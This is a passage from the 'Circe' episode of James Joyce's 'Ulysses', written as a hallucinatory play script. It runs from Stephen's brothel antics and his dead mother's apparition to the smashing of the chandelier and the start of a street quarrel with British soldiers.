HEAD AND LEAPS OVER TO THE FIREPLACE WHERE HE +STANDS WITH SHRUGGED SHOULDERS, FINNY HANDS OUTSPREAD, A PAINTED SMILE ON +HIS FACE.) + +LYNCH: (POMMELLING ON THE SOFA) Rmm Rmm Rmm Rrrrrrmmmm. + +STEPHEN: (GABBLES WITH MARIONETTE JERKS) Thousand places of entertainment +to expense your evenings with lovely ladies saling gloves and other +things perhaps hers heart beerchops perfect fashionable house very +eccentric where lots cocottes beautiful dressed much about princesses +like are dancing cancan and walking there parisian clowneries extra +foolish for bachelors foreigns the same if talking a poor english how +much smart they are on things love and sensations voluptuous. Misters +very selects for is pleasure must to visit heaven and hell show with +mortuary candles and they tears silver which occur every night. Perfectly +shocking terrific of religion's things mockery seen in universal world. +All chic womans which arrive full of modesty then disrobe and squeal loud +to see vampire man debauch nun very fresh young with DESSOUS TROUBLANTS. +(HE CLACKS HIS TONGUE LOUDLY) HO, LA LA! CE PIF QU'IL A! + +LYNCH: VIVE LE VAMPIRE! + +THE WHORES: Bravo! Parleyvoo! + +STEPHEN: (GRIMACING WITH HEAD BACK, LAUGHS LOUDLY, CLAPPING HIMSELF) +Great success of laughing. Angels much prostitutes like and holy apostles +big damn ruffians. DEMIMONDAINES nicely handsome sparkling of diamonds +very amiable costumed. Or do you are fond better what belongs they +moderns pleasure turpitude of old mans? (HE POINTS ABOUT HIM WITH +GROTESQUE GESTURES WHICH LYNCH AND THE WHORES REPLY TO) Caoutchouc statue +woman reversible or lifesize tompeeptom of virgins nudities very lesbic +the kiss five ten times. Enter, gentleman, to see in mirror every +positions trapezes all that machine there besides also if desire act +awfully bestial butcher's boy pollutes in warm veal liver or omlet on the +belly PIECE DE SHAKESPEARE. + +BELLA: (CLAPPING HER BELLY SINKS BACK ON THE SOFA, WITH A SHOUT OF +LAUGHTER) An omelette on the ... Ho! ho! ho! ho! ... omelette on the ... + +STEPHEN: (MINCINGLY) I love you, sir darling. Speak you englishman tongue +for DOUBLE ENTENTE CORDIALE. O yes, MON LOUP. How much cost? Waterloo. +Watercloset. (HE CEASES SUDDENLY AND HOLDS UP A FOREFINGER) + +BELLA: (LAUGHING) Omelette ... + +THE WHORES: (LAUGHING) Encore! Encore! + +STEPHEN: Mark me. I dreamt of a watermelon. + +ZOE: Go abroad and love a foreign lady. + +LYNCH: Across the world for a wife. + +FLORRY: Dreams goes by contraries. + +STEPHEN: (EXTENDS HIS ARMS) It was here. Street of harlots. In Serpentine +avenue Beelzebub showed me her, a fubsy widow. Where's the red carpet +spread? + +BLOOM: (APPROACHING STEPHEN) Look ... + +STEPHEN: No, I flew. My foes beneath me. And ever shall be. World without +end. (HE CRIES) PATER! Free! + +BLOOM: I say, look ... + +STEPHEN: Break my spirit, will he? O MERDE ALORS! (HE CRIES, HIS VULTURE +TALONS SHARPENED) Hola! Hillyho! + +(SIMON DEDALUS' VOICE HILLOES IN ANSWER, SOMEWHAT SLEEPY BUT READY.) + +SIMON: That's all right. (HE SWOOPS UNCERTAINLY THROUGH THE AIR, +WHEELING, UTTERING CRIES OF HEARTENING, ON STRONG PONDEROUS BUZZARD +WINGS) Ho, boy! Are you going to win? Hoop! Pschatt! Stable with those +halfcastes. Wouldn't let them within the bawl of an ass. Head up! Keep +our flag flying! An eagle gules volant in a field argent displayed. +Ulster king at arms! Haihoop! (HE MAKES THE BEAGLE'S CALL, GIVING TONGUE) +Bulbul! Burblblburblbl! Hai, boy! + +(THE FRONDS AND SPACES OF THE WALLPAPER FILE RAPIDLY ACROSS COUNTRY. A +STOUT FOX, DRAWN FROM COVERT, BRUSH POINTED, HAVING BURIED HIS +GRANDMOTHER, RUNS SWIFT FOR THE OPEN, BRIGHTEYED, SEEKING BADGER EARTH, +UNDER THE LEAVES. THE PACK OF STAGHOUNDS FOLLOWS, NOSE TO THE GROUND, +SNIFFING THEIR QUARRY, BEAGLEBAYING, BURBLBRBLING TO BE BLOODED. WARD +UNION HUNTSMEN AND HUNTSWOMEN LIVE WITH THEM, HOT FOR A KILL. FROM SIX +MILE POINT, FLATHOUSE, NINE MILE STONE FOLLOW THE FOOTPEOPLE WITH KNOTTY +STICKS, HAYFORKS, SALMONGAFFS, LASSOS, FLOCKMASTERS WITH STOCKWHIPS, +BEARBAITERS WITH TOMTOMS, TOREADORS WITH BULLSWORDS, GREYNEGROES WAVING +TORCHES. THE CROWD BAWLS OF DICERS, CROWN AND ANCHOR PLAYERS, +THIMBLERIGGERS, BROADSMEN. CROWS AND TOUTS, HOARSE BOOKIES IN HIGH WIZARD +HATS CLAMOUR DEAFENINGLY.) + +THE CROWD: + + + Card of the races. Racing card! + Ten to one the field! + Tommy on the clay here! Tommy on the clay! + Ten to one bar one! Ten to one bar one! + Try your luck on Spinning Jenny! + Ten to one bar one! + Sell the monkey, boys! Sell the monkey! + I'll give ten to one! + Ten to one bar one! + + +(A DARK HORSE, RIDERLESS, BOLTS LIKE A PHANTOM PAST THE WINNINGPOST, HIS +MANE MOONFOAMING, HIS EYEBALLS STARS. THE FIELD FOLLOWS, A BUNCH OF +BUCKING MOUNTS. SKELETON HORSES, SCEPTRE, MAXIMUM THE SECOND, ZINFANDEL, +THE DUKE OF WESTMINSTER'S SHOTOVER, REPULSE, THE DUKE OF BEAUFORT'S +CEYLON, PRIX DE PARIS. DWARFS RIDE THEM, RUSTYARMOURED, LEAPING, LEAPING +IN THEIR, IN THEIR SADDLES. LAST IN A DRIZZLE OF RAIN ON A BROKENWINDED +ISABELLE NAG, COCK OF THE NORTH, THE FAVOURITE, HONEY CAP, GREEN JACKET, +ORANGE SLEEVES, GARRETT DEASY UP, GRIPPING THE REINS, A HOCKEYSTICK AT +THE READY. HIS NAG ON SPAVINED WHITEGAITERED FEET JOGS ALONG THE ROCKY +ROAD.) + +THE ORANGE LODGES: (JEERING) Get down and push, mister. Last lap! You'll +be home the night! + +GARRETT DEASY: (BOLT UPRIGHT, HIS NAILSCRAPED FACE PLASTERED WITH +POSTAGESTAMPS, BRANDISHES HIS HOCKEYSTICK, HIS BLUE EYES FLASHING IN THE +PRISM OF THE CHANDELIER AS HIS MOUNT LOPES BY AT SCHOOLING GALLOP) + +PER VIAS RECTAS! + +(A YOKE OF BUCKETS LEOPARDS ALL OVER HIM AND HIS REARING NAG A TORRENT OF +MUTTON BROTH WITH DANCING COINS OF CARROTS, BARLEY, ONIONS, TURNIPS, +POTATOES.) + +THE GREEN LODGES: Soft day, sir John! Soft day, your honour! + +(PRIVATE CARR, PRIVATE COMPTON AND CISSY CAFFREY PASS BENEATH THE +WINDOWS, SINGING IN DISCORD.) + +STEPHEN: Hark! Our friend noise in the street. + +ZOE: (HOLDS UP HER HAND) Stop! + +PRIVATE CARR, PRIVATE COMPTON AND CISSY CAFFREY: + + + Yet I've a sort a + Yorkshire relish for ... + + +ZOE: That's me. (SHE CLAPS HER HANDS) Dance! Dance! (SHE RUNS TO THE +PIANOLA) Who has twopence? + +BLOOM: Who'll ...? + +LYNCH: (HANDING HER COINS) Here. + +STEPHEN: (CRACKING HIS FINGERS IMPATIENTLY) Quick! Quick! Where's my +augur's rod? (HE RUNS TO THE PIANO AND TAKES HIS ASHPLANT, BEATING HIS +FOOT IN TRIPUDIUM) + +ZOE: (TURNS THE DRUMHANDLE) There. + +(SHE DROPS TWO PENNIES IN THE SLOT. GOLD, PINK AND VIOLET LIGHTS START +FORTH. THE DRUM TURNS PURRING IN LOW HESITATION WALTZ. PROFESSOR GOODWIN, +IN A BOWKNOTTED PERIWIG, IN COURT DRESS, WEARING A STAINED INVERNESS +CAPE, BENT IN TWO FROM INCREDIBLE AGE, TOTTERS ACROSS THE ROOM, HIS HANDS +FLUTTERING. HE SITS TINILY ON THE PIANOSTOOL AND LIFTS AND BEATS HANDLESS +STICKS OF ARMS ON THE KEYBOARD, NODDING WITH DAMSEL'S GRACE, HIS BOWKNOT +BOBBING) + +ZOE: (TWIRLS ROUND HERSELF, HEELTAPPING) Dance. Anybody here for there? +Who'll dance? Clear the table. + +(THE PIANOLA WITH CHANGING LIGHTS PLAYS IN WALTZ TIME THE PRELUDE OF My +Girl's a Yorkshire Girl. STEPHEN THROWS HIS ASHPLANT ON THE TABLE AND +SEIZES ZOE ROUND THE WAIST. FLORRY AND BELLA PUSH THE TABLE TOWARDS THE +FIREPLACE. STEPHEN, ARMING ZOE WITH EXAGGERATED GRACE, BEGINS TO WALTZ +HER ROUND THE ROOM. BLOOM STANDS ASIDE. HER SLEEVE FILLING FROM GRACING +ARMS REVEALS A WHITE FLESHFLOWER OF VACCINATION. BETWEEN THE CURTAINS +PROFESSOR MAGINNI INSERTS A LEG ON THE TOEPOINT OF WHICH SPINS A SILK +HAT. WITH A DEFT KICK HE SENDS IT SPINNING TO HIS CROWN AND JAUNTYHATTED +SKATES IN. HE WEARS A SLATE FROCKCOAT WITH CLARET SILK LAPELS, A GORGET +OF CREAM TULLE, A GREEN LOWCUT WAISTCOAT, STOCK COLLAR WITH WHITE +KERCHIEF, TIGHT LAVENDER TROUSERS, PATENT PUMPS AND CANARY GLOVES. IN HIS +BUTTONHOLE IS AN IMMENSE DAHLIA. HE TWIRLS IN REVERSED DIRECTIONS A +CLOUDED CANE, THEN WEDGES IT TIGHT IN HIS OXTER. HE PLACES A HAND LIGHTLY +ON HIS BREASTBONE, BOWS, AND FONDLES HIS FLOWER AND BUTTONS.) + +MAGINNI: The poetry of motion, art of calisthenics. No connection with +Madam Legget Byrne's or Levenston's. Fancy dress balls arranged. +Deportment. The Katty Lanner step. So. Watch me! My terpsichorean +abilities. (HE MINUETS FORWARD THREE PACES ON TRIPPING BEE'S FEET) TOUT +LE MONDE EN AVANT! REVERENCE! TOUT LE MONDE EN PLACE! + +(THE PRELUDE CEASES. PROFESSOR GOODWIN, BEATING VAGUE ARMS SHRIVELS, +SINKS, HIS LIVE CAPE FILLING ABOUT THE STOOL. THE AIR IN FIRMER WALTZ +TIME SOUNDS. STEPHEN AND ZOE CIRCLE FREELY. THE LIGHTS CHANGE, GLOW, FIDE +GOLD ROSY VIOLET.) + +THE PIANOLA: + + + Two young fellows were talking about their girls, girls, girls, + Sweethearts they'd left behind ... + + +(FROM A CORNER THE MORNING HOURS RUN OUT, GOLDHAIRED, SLIMSANDALLED, IN +GIRLISH BLUE, WASPWAISTED, WITH INNOCENT HANDS. NIMBLY THEY DANCE, +TWIRLING THEIR SKIPPING ROPES. THE HOURS OF NOON FOLLOW IN AMBER GOLD. +LAUGHING, LINKED, HIGH HAIRCOMBS FLASHING, THEY CATCH THE SUN IN MOCKING +MIRRORS, LIFTING THEIR ARMS.) + +MAGINNI: (CLIPCLAPS GLOVESILENT HANDS) CARRE! AVANT DEUX! Breathe evenly! +BALANCE! + +(THE MORNING AND NOON HOURS WALTZ IN THEIR PLACES, TURNING, ADVANCING TO +EACH OTHER, SHAPING THEIR CURVES, BOWING VISAVIS. CAVALIERS BEHIND THEM +ARCH AND SUSPEND THEIR ARMS, WITH HANDS DESCENDING TO, TOUCHING, RISING +FROM THEIR SHOULDERS.) + +HOURS: You may touch my. + +CAVALIERS: May I touch your? + +HOURS: O, but lightly! + +CAVALIERS: O, so lightly! + +THE PIANOLA: + + + My little shy little lass has a waist. + + +(ZOE AND STEPHEN TURN BOLDLY WITH LOOSER SWING. THE TWILIGHT HOURS +ADVANCE FROM LONG LANDSHADOWS, DISPERSED, LAGGING, LANGUIDEYED, THEIR +CHEEKS DELICATE WITH CIPRIA AND FALSE FAINT BLOOM. THEY ARE IN GREY GAUZE +WITH DARK BAT SLEEVES THAT FLUTTER IN THE LAND BREEZE.) + +MAGINNI: AVANT HUIT! TRAVERSE! SALUT! COURS DE MAINS! CROISE! + +(THE NIGHT HOURS, ONE BY ONE, STEAL TO THE LAST PLACE. MORNING, NOON AND +TWILIGHT HOURS RETREAT BEFORE THEM. THEY ARE MASKED, WITH DAGGERED HAIR +AND BRACELETS OF DULL BELLS. WEARY THEY CURCHYCURCHY UNDER VEILS.) + +THE BRACELETS: Heigho! Heigho! + +ZOE: (TWIRLING, HER HAND TO HER BROW) O! + +MAGINNI: LES TIROIRS! CHAINE DE DAMES! LA CORBEILLE! DOS A DOS! + +(ARABESQUING WEARILY THEY WEAVE A PATTERN ON THE FLOOR, WEAVING, +UNWEAVING, CURTSEYING, TWIRLING, SIMPLY SWIRLING.) + +ZOE: I'm giddy! + +(SHE FREES HERSELF, DROOPS ON A CHAIR. STEPHEN SEIZES FLORRY AND TURNS +WITH HER.) + +MAGINNI: BOULANGERE! LES RONDS! LES PONTS! CHEVAUX DE BOIS! ESCARGOTS! + +(TWINING, RECEDING, WITH INTERCHANGING HANDS THE NIGHT HOURS LINK EACH +EACH WITH ARCHING ARMS IN A MOSAIC OF MOVEMENTS. STEPHEN AND FLORRY TURN +CUMBROUSLY.) + +MAGINNI: DANSEZ AVEC VOS DAMES! CHANGEZ DE DAMES! DONNEZ LE PETIT BOUQUET +A VOTRE DAME! REMERCIEZ! + +THE PIANOLA: + + + Best, best of all, + Baraabum! + + +KITTY: (JUMPS UP) O, they played that on the hobbyhorses at the Mirus +bazaar! + +(SHE RUNS TO STEPHEN. HE LEAVES FLORRY BRUSQUELY AND SEIZES KITTY. A +SCREAMING BITTERN'S HARSH HIGH WHISTLE SHRIEKS. GROANGROUSEGURGLING +TOFT'S CUMBERSOME WHIRLIGIG TURNS SLOWLY THE ROOM RIGHT ROUNDABOUT THE +ROOM.) + +THE PIANOLA: + + + My girl's a Yorkshire girl. + + +ZOE: + + + Yorkshire through and through. + + +Come on all! + +(SHE SEIZES FLORRY AND WALTZES HER.) + +STEPHEN: PAS SEUL! + +(HE WHEELS KITTY INTO LYNCH'S ARMS, SNATCHES UP HIS ASHPLANT FROM THE +TABLE AND TAKES THE FLOOR. ALL WHEEL WHIRL WALTZ TWIRL. BLOOMBELLA +KITTYLYNCH FLORRYZOE JUJUBY WOMEN. STEPHEN WITH HAT ASHPLANT FROGSPLITS +IN MIDDLE HIGHKICKS WITH SKYKICKING MOUTH SHUT HAND CLASP PART UNDER +THIGH. WITH CLANG TINKLE BOOMHAMMER TALLYHO HORNBLOWER BLUE GREEN YELLOW +FLASHES TOFT'S CUMBERSOME TURNS WITH HOBBYHORSE RIDERS FROM GILDED SNAKES +DANGLED, BOWELS FANDANGO LEAPING SPURN SOIL FOOT AND FALL AGAIN.) + +THE PIANOLA: + + + Though she's a factory lass + And wears no fancy clothes. + + +(CLOSECLUTCHED SWIFT SWIFTER WITH GLAREBLAREFLARE SCUDDING THEY +SCOOTLOOTSHOOT LUMBERING BY. BARAABUM!) + +TUTTI: Encore! Bis! Bravo! Encore! + +SIMON: Think of your mother's people! + +STEPHEN: Dance of death. + +(BANG FRESH BARANG BANG OF LACQUEY'S BELL, HORSE, NAG, STEER, PIGLINGS, +CONMEE ON CHRISTASS, LAME CRUTCH AND LEG SAILOR IN COCKBOAT ARMFOLDED +ROPEPULLING HITCHING STAMP HORNPIPE THROUGH AND THROUGH. BARAABUM! ON +NAGS HOGS BELLHORSES GADARENE SWINE CORNY IN COFFIN STEEL SHARK STONE +ONEHANDLED NELSON TWO TRICKIES FRAUENZIMMER PLUMSTAINED FROM PRAM FILLING +BAWLING GUM HE'S A CHAMPION. FUSEBLUE PEER FROM BARREL REV. EVENSONG LOVE +ON HACKNEY JAUNT BLAZES BLIND CODDOUBLED BICYCLERS DILLY WITH SNOWCAKE NO +FANCY CLOTHES. THEN IN LAST SWITCHBACK LUMBERING UP AND DOWN BUMP MASHTUB +SORT OF VICEROY AND REINE RELISH FOR TUBLUMBER BUMPSHIRE ROSE. BARAABUM!) + +(THE COUPLES FALL ASIDE. STEPHEN WHIRLS GIDDILY. ROOM WHIRLS BACK. EYES +CLOSED HE TOTTERS. RED RAILS FLY SPACEWARDS. STARS ALL AROUND SUNS TURN +ROUNDABOUT. BRIGHT MIDGES DANCE ON WALLS. HE STOPS DEAD.) + +STEPHEN: Ho! + +(STEPHEN'S MOTHER, EMACIATED, RISES STARK THROUGH THE FLOOR, IN LEPER +GREY WITH A WREATH OF FADED ORANGEBLOSSOMS AND A TORN BRIDAL VEIL, HER +FACE WORN AND NOSELESS, GREEN WITH GRAVEMOULD. HER HAIR IS SCANT AND +LANK. SHE FIXES HER BLUECIRCLED HOLLOW EYESOCKETS ON STEPHEN AND OPENS +HER TOOTHLESS MOUTH UTTERING A SILENT WORD. A CHOIR OF VIRGINS AND +CONFESSORS SING VOICELESSLY.) + +THE CHOIR: + + + Liliata rutilantium te confessorum ... + Iubilantium te virginum ... + + +(FROM THE TOP OF A TOWER BUCK MULLIGAN, IN PARTICOLOURED JESTER'S DRESS +OF PUCE AND YELLOW AND CLOWN'S CAP WITH CURLING BELL, STANDS GAPING AT +HER, A SMOKING BUTTERED SPLIT SCONE IN HIS HAND.) + +BUCK MULLIGAN: She's beastly dead. The pity of it! Mulligan meets the +afflicted mother. (HE UPTURNS HIS EYES) Mercurial Malachi! + +THE MOTHER: (WITH THE SUBTLE SMILE OF DEATH'S MADNESS) I was once the +beautiful May Goulding. I am dead. + +STEPHEN: (HORRORSTRUCK) Lemur, who are you? No. What bogeyman's trick is +this? + +BUCK MULLIGAN: (SHAKES HIS CURLING CAPBELL) The mockery of it! Kinch +dogsbody killed her bitchbody. She kicked the bucket. (TEARS OF MOLTEN +BUTTER FALL FROM HIS EYES ON TO THE SCONE) Our great sweet mother! EPI +OINOPA PONTON. + +THE MOTHER: (COMES NEARER, BREATHING UPON HIM SOFTLY HER BREATH OF WETTED +ASHES) All must go through it, Stephen. More women than men in the world. +You too. Time will come. + +STEPHEN: (CHOKING WITH FRIGHT, REMORSE AND HORROR) They say I killed you, +mother. He offended your memory. Cancer did it, not I. Destiny. + +THE MOTHER: (A GREEN RILL OF BILE TRICKLING FROM A SIDE OF HER MOUTH) You +sang that song to me. LOVE'S BITTER MYSTERY. + +STEPHEN: (EAGERLY) Tell me the word, mother, if you know now. The word +known to all men. + +THE MOTHER: Who saved you the night you jumped into the train at Dalkey +with Paddy Lee? Who had pity for you when you were sad among the +strangers? Prayer is allpowerful. Prayer for the suffering souls in the +Ursuline manual and forty days' indulgence. Repent, Stephen. + +STEPHEN: The ghoul! Hyena! + +THE MOTHER: I pray for you in my other world. Get Dilly to make you that +boiled rice every night after your brainwork. Years and years I loved +you, O, my son, my firstborn, when you lay in my womb. + +ZOE: (FANNING HERSELF WITH THE GRATE FAN) I'm melting! + +FLORRY: (POINTS TO STEPHEN) Look! He's white. + +BLOOM: (GOES TO THE WINDOW TO OPEN IT MORE) Giddy. + +THE MOTHER: (WITH SMOULDERING EYES) Repent! O, the fire of hell! + +STEPHEN: (PANTING) His noncorrosive sublimate! The corpsechewer! Raw head +and bloody bones. + +THE MOTHER: (HER FACE DRAWING NEAR AND NEARER, SENDING OUT AN ASHEN +BREATH) Beware! (SHE RAISES HER BLACKENED WITHERED RIGHT ARM SLOWLY +TOWARDS STEPHEN'S BREAST WITH OUTSTRETCHED FINGER) Beware God's hand! (A +GREEN CRAB WITH MALIGNANT RED EYES STICKS DEEP ITS GRINNING CLAWS IN +STEPHEN'S HEART.) + +STEPHEN: (STRANGLED WITH RAGE) Shite! (HIS FEATURES GROW DRAWN GREY AND +OLD) + +BLOOM: (AT THE WINDOW) What? + +STEPHEN: AH NON, PAR EXEMPLE! The intellectual imagination! With me all +or not at all. NON SERVIAM! + +FLORRY: Give him some cold water. Wait. (SHE RUSHES OUT) + +THE MOTHER: (WRINGS HER HANDS SLOWLY, MOANING DESPERATELY) O Sacred Heart +of Jesus, have mercy on him! Save him from hell, O Divine Sacred Heart! + +STEPHEN: No! No! No! Break my spirit, all of you, if you can! I'll bring +you all to heel! + +THE MOTHER: (IN THE AGONY OF HER DEATHRATTLE) Have mercy on Stephen, +Lord, for my sake! Inexpressible was my anguish when expiring with love, +grief and agony on Mount Calvary. + +STEPHEN: NOTHUNG! + +(HE LIFTS HIS ASHPLANT HIGH WITH BOTH HANDS AND SMASHES THE CHANDELIER. +TIME'S LIVID FINAL FLAME LEAPS AND, IN THE FOLLOWING DARKNESS, RUIN OF +ALL SPACE, SHATTERED GLASS AND TOPPLING MASONRY.) + +THE GASJET: Pwfungg! + +BLOOM: Stop! + +LYNCH: (RUSHES FORWARD AND SEIZES STEPHEN'S HAND) Here! Hold on! Don't +run amok! + +BELLA: Police! + +(STEPHEN, ABANDONING HIS ASHPLANT, HIS HEAD AND ARMS THROWN BACK STARK, +BEATS THE GROUND AND FLIES FROM THE ROOM, PAST THE WHORES AT THE DOOR.) + +BELLA: (SCREAMS) After him! + +(THE TWO WHORES RUSH TO THE HALLDOOR. LYNCH AND KITTY AND ZOE STAMPEDE +FROM THE ROOM. THEY TALK EXCITEDLY. BLOOM FOLLOWS, RETURNS.) + +THE WHORES: (JAMMED IN THE DOORWAY, POINTING) Down there. + +ZOE: (POINTING) There. There's something up. + +BELLA: Who pays for the lamp? (SHE SEIZES BLOOM'S COATTAIL) Here, you +were with him. The lamp's broken. + +BLOOM: (RUSHES TO THE HALL, RUSHES BACK) What lamp, woman? + +A WHORE: He tore his coat. + +BELLA: (HER EYES HARD WITH ANGER AND CUPIDITY, POINTS) Who's to pay for +that? Ten shillings. You're a witness. + +BLOOM: (SNATCHES UP STEPHEN'S ASHPLANT) Me? Ten shillings? Haven't you +lifted enough off him? Didn't he ...? + +BELLA: (LOUDLY) Here, none of your tall talk. This isn't a brothel. A ten +shilling house. + +BLOOM: (HIS HEAD UNDER THE LAMP, PULLS THE CHAIN. PULING, THE GASJET +LIGHTS UP A CRUSHED MAUVE PURPLE SHADE. HE RAISES THE ASHPLANT.) Only the +chimney's broken. Here is all he ... + +BELLA: (SHRINKS BACK AND SCREAMS) Jesus! Don't! + +BLOOM: (WARDING OFF A BLOW) To show you how he hit the paper. There's not +sixpenceworth of damage done. Ten shillings! + +FLORRY: (WITH A GLASS OF WATER, ENTERS) Where is he? + +BELLA: Do you want me to call the police? + +BLOOM: O, I know. Bulldog on the premises. But he's a Trinity student. +Patrons of your establishment. Gentlemen that pay the rent. (HE MAKES A +MASONIC SIGN) Know what I mean? Nephew of the vice-chancellor. You don't +want a scandal. + +BELLA: (ANGRILY) Trinity. Coming down here ragging after the boatraces +and paying nothing. Are you my commander here or? Where is he? I'll +charge him! Disgrace him, I will! (SHE SHOUTS) Zoe! Zoe! + +BLOOM: (URGENTLY) And if it were your own son in Oxford? (WARNINGLY) I +know. + +BELLA: (ALMOST SPEECHLESS) Who are. Incog! + +ZOE: (IN THE DOORWAY) There's a row on. + +BLOOM: What? Where? (HE THROWS A SHILLING ON THE TABLE AND STARTS) That's +for the chimney. Where? I need mountain air. + +(HE HURRIES OUT THROUGH THE HALL. THE WHORES POINT. FLORRY FOLLOWS, +SPILLING WATER FROM HER TILTED TUMBLER. ON THE DOORSTEP ALL THE WHORES +CLUSTERED TALK VOLUBLY, POINTING TO THE RIGHT WHERE THE FOG HAS CLEARED +OFF. FROM THE LEFT ARRIVES A JINGLING HACKNEY CAR. IT SLOWS TO IN FRONT +OF THE HOUSE. BLOOM AT THE HALLDOOR PERCEIVES CORNY KELLEHER WHO IS ABOUT +TO DISMOUNT FROM THE CAR WITH TWO SILENT LECHERS. HE AVERTS HIS FACE. +BELLA FROM WITHIN THE HALL URGES ON HER WHORES. THEY BLOW ICKYLICKYSTICKY +YUMYUM KISSES. CORNY KELLEHER REPLIES WITH A GHASTLY LEWD SMILE. THE +SILENT LECHERS TURN TO PAY THE JARVEY. ZOE AND KITTY STILL POINT RIGHT. +BLOOM, PARTING THEM SWIFTLY, DRAWS HIS CALIPH'S HOOD AND PONCHO AND +HURRIES DOWN THE STEPS WITH SIDEWAYS FACE. INCOG HAROUN AL RASCHID HE +FLITS BEHIND THE SILENT LECHERS AND HASTENS ON BY THE RAILINGS WITH FLEET +STEP OF A PARD STREWING THE DRAG BEHIND HIM, TORN ENVELOPES DRENCHED IN +ANISEED. THE ASHPLANT MARKS HIS STRIDE. A PACK OF BLOODHOUNDS, LED BY +HORNBLOWER OF TRINITY BRANDISHING A DOGWHIP IN TALLYHO CAP AND AN OLD +PAIR OF GREY TROUSERS, FOLLOW FROM FIR, PICKING UP THE SCENT, NEARER, +BAYING, PANTING, AT FAULT, BREAKING AWAY, THROWING THEIR TONGUES, BITING +HIS HEELS, LEAPING AT HIS TAIL. HE WALKS, RUNS, ZIGZAGS, GALLOPS, LUGS +LAID BACK. HE IS PELTED WITH GRAVEL, CABBAGESTUMPS, BISCUITBOXES, EGGS, +POTATOES, DEAD CODFISH, WOMAN'S SLIPPERSLAPPERS. AFTER HIM FRESHFOUND THE +HUE AND CRY ZIGZAG GALLOPS IN HOT PURSUIT OF FOLLOW MY LEADER: 65 C, 66 +C, NIGHT WATCH, JOHN HENRY MENTON, WISDOM HELY, V. B. DILLON, COUNCILLOR +NANNETTI, ALEXANDER KEYES, LARRY O'ROURKE, JOE CUFFE MRS O'DOWD, PISSER +BURKE, THE NAMELESS ONE, MRS RIORDAN, THE CITIZEN, GARRYOWEN, +WHODOYOUCALLHIM, STRANGEFACE, FELLOWTHATSOLIKE, SAWHIMBEFORE, +CHAPWITHAWEN, CHRIS CALLINAN, SIR CHARLES CAMERON, BENJAMIN DOLLARD, +LENEHAN, BARTELL D'ARCY, JOE HYNES, RED MURRAY, EDITOR BRAYDEN, T. M. +HEALY, MR JUSTICE FITZGIBBON, JOHN HOWARD PARNELL, THE REVEREND TINNED +SALMON, PROFESSOR JOLY, MRS BREEN, DENIS BREEN, THEODORE PUREFOY, MINA +PUREFOY, THE WESTLAND ROW POSTMISTRESS, C. P. M'COY, FRIEND OF LYONS, +HOPPY HOLOHAN, MANINTHESTREET, OTHERMANINTHESTREET, FOOTBALLBOOTS, +PUGNOSED DRIVER, RICH PROTESTANT LADY, DAVY BYRNE, MRS ELLEN M'GUINNESS, +MRS JOE GALLAHER, GEORGE LIDWELL, JIMMY HENRY ON CORNS, SUPERINTENDENT +LARACY, FATHER COWLEY, CROFTON OUT OF THE COLLECTOR-GENERAL'S, DAN +DAWSON, DENTAL SURGEON BLOOM WITH TWEEZERS, MRS BOB DORAN, MRS KENNEFICK, +MRS WYSE NOLAN, JOHN WYSE NOLAN, +HANDSOMEMARRIEDWOMANRUBBEDAGAINSTWIDEBEHINDINCLONSKEATRAM, THE BOOKSELLER +OF Sweets Of Sin, MISS DUBEDATANDSHEDIDBEDAD, MESDAMES GERALD AND +STANISLAUS MORAN OF ROEBUCK, THE MANAGING CLERK OF DRIMMIE'S, WETHERUP, +COLONEL HAYES, MASTIANSKY, CITRON, PENROSE, AARON FIGATNER, MOSES HERZOG, +MICHAEL E GERAGHTY, INSPECTOR TROY, MRS GALBRAITH, THE CONSTABLE OFF +ECCLES STREET CORNER, OLD DOCTOR BRADY WITH STETHOSCOPE, THE MYSTERY MAN +ON THE BEACH, A RETRIEVER, MRS MIRIAM DANDRADE AND ALL HER LOVERS.) + +THE HUE AND CRY: (HELTERSKELTERPELTERWELTER) He's Bloom! Stop Bloom! +Stopabloom! Stopperrobber! Hi! Hi! Stophim on the corner! + +(AT THE CORNER OF BEAVER STREET BENEATH THE SCAFFOLDING BLOOM PANTING +STOPS ON THE FRINGE OF THE NOISY QUARRELLING KNOT, A LOT NOT KNOWING A +JOT WHAT HI! HI! ROW AND WRANGLE ROUND THE WHOWHAT BRAWLALTOGETHER.) + +STEPHEN: (WITH ELABORATE GESTURES, BREATHING DEEPLY AND SLOWLY) You are +my guests. Uninvited. By virtue of the fifth of George and seventh of +Edward. History to blame. Fabled by mothers of memory. + +PRIVATE CARR: (TO CISSY CAFFREY) Was he insulting you? + +STEPHEN: Addressed her in vocative feminine. Probably neuter. Ungenitive. + +VOICES: No, he didn't. I seen him. The girl there. He was in Mrs Cohen's. +What's up? Soldier and civilian. + +CISSY CAFFREY: I was in company with the soldiers and they left me to +do--you know, and the young man run up behind me. But I'm faithful to the +man that's treating me though I'm only a shilling whore. + +STEPHEN: (CATCHES SIGHT OF LYNCH'S AND KITTY'S HEADS) Hail, Sisyphus. (HE +POINTS TO HIMSELF AND THE OTHERS) Poetic. Uropoetic. + +VOICES: Shes faithfultheman. + +CISSY CAFFREY: Yes, to go with him. And me with a soldier friend. + +PRIVATE COMPTON: He doesn't half want a thick ear, the blighter. Biff him +one, Harry. + +PRIVATE CARR: (TO CISSY) Was he insulting you while me and him was having +a piss? + +LORD TENNYSON: (GENTLEMAN POET IN UNION JACK BLAZER AND CRICKET FLANNELS, +BAREHEADED, FLOWINGBEARDED) Theirs not to reason why. + +PRIVATE COMPTON: Biff him, Harry. + +STEPHEN: (TO PRIVATE COMPTON) I don't know your name but you are quite +right. Doctor Swift says one man in armour will beat ten men in their +shirts. Shirt is synechdoche. Part for the whole. + +CISSY CAFFREY: (TO THE CROWD) No, I was with the privates. + +STEPHEN: (AMIABLY) Why not? The bold soldier boy. In my opinion every +lady for example ... + +PRIVATE CARR: (HIS CAP AWRY, ADVANCES TO STEPHEN) Say, how would it be, +governor, if I was to bash in your jaw? + +STEPHEN: (LOOKS UP TO THE SKY) How? Very unpleasant. Noble art of +selfpretence. Personally, I detest action. (HE WAVES HIS HAND) Hand hurts +me slightly. ENFIN CE SONT VOS OIGNONS. (TO CISSY CAFFREY) Some trouble +is on here. What is it precisely? + +DOLLY GRAY: (FROM HER BALCONY WAVES HER HANDKERCHIEF, GIVING THE SIGN OF +THE HEROINE OF JERICHO) Rahab. Cook's son, goodbye. Safe home to Dolly. +Dream of the girl you left behind and she will dream of you. + +(THE SOLDIERS TURN THEIR SWIMMING EYES.) + +BLOOM: (ELBOWING THROUGH THE CROWD, PLUCKS STEPHEN'S SLEEVE VIGOROUSLY) +Come now, professor, that carman is waiting. + +STEPHEN: (TURNS) Eh? (HE 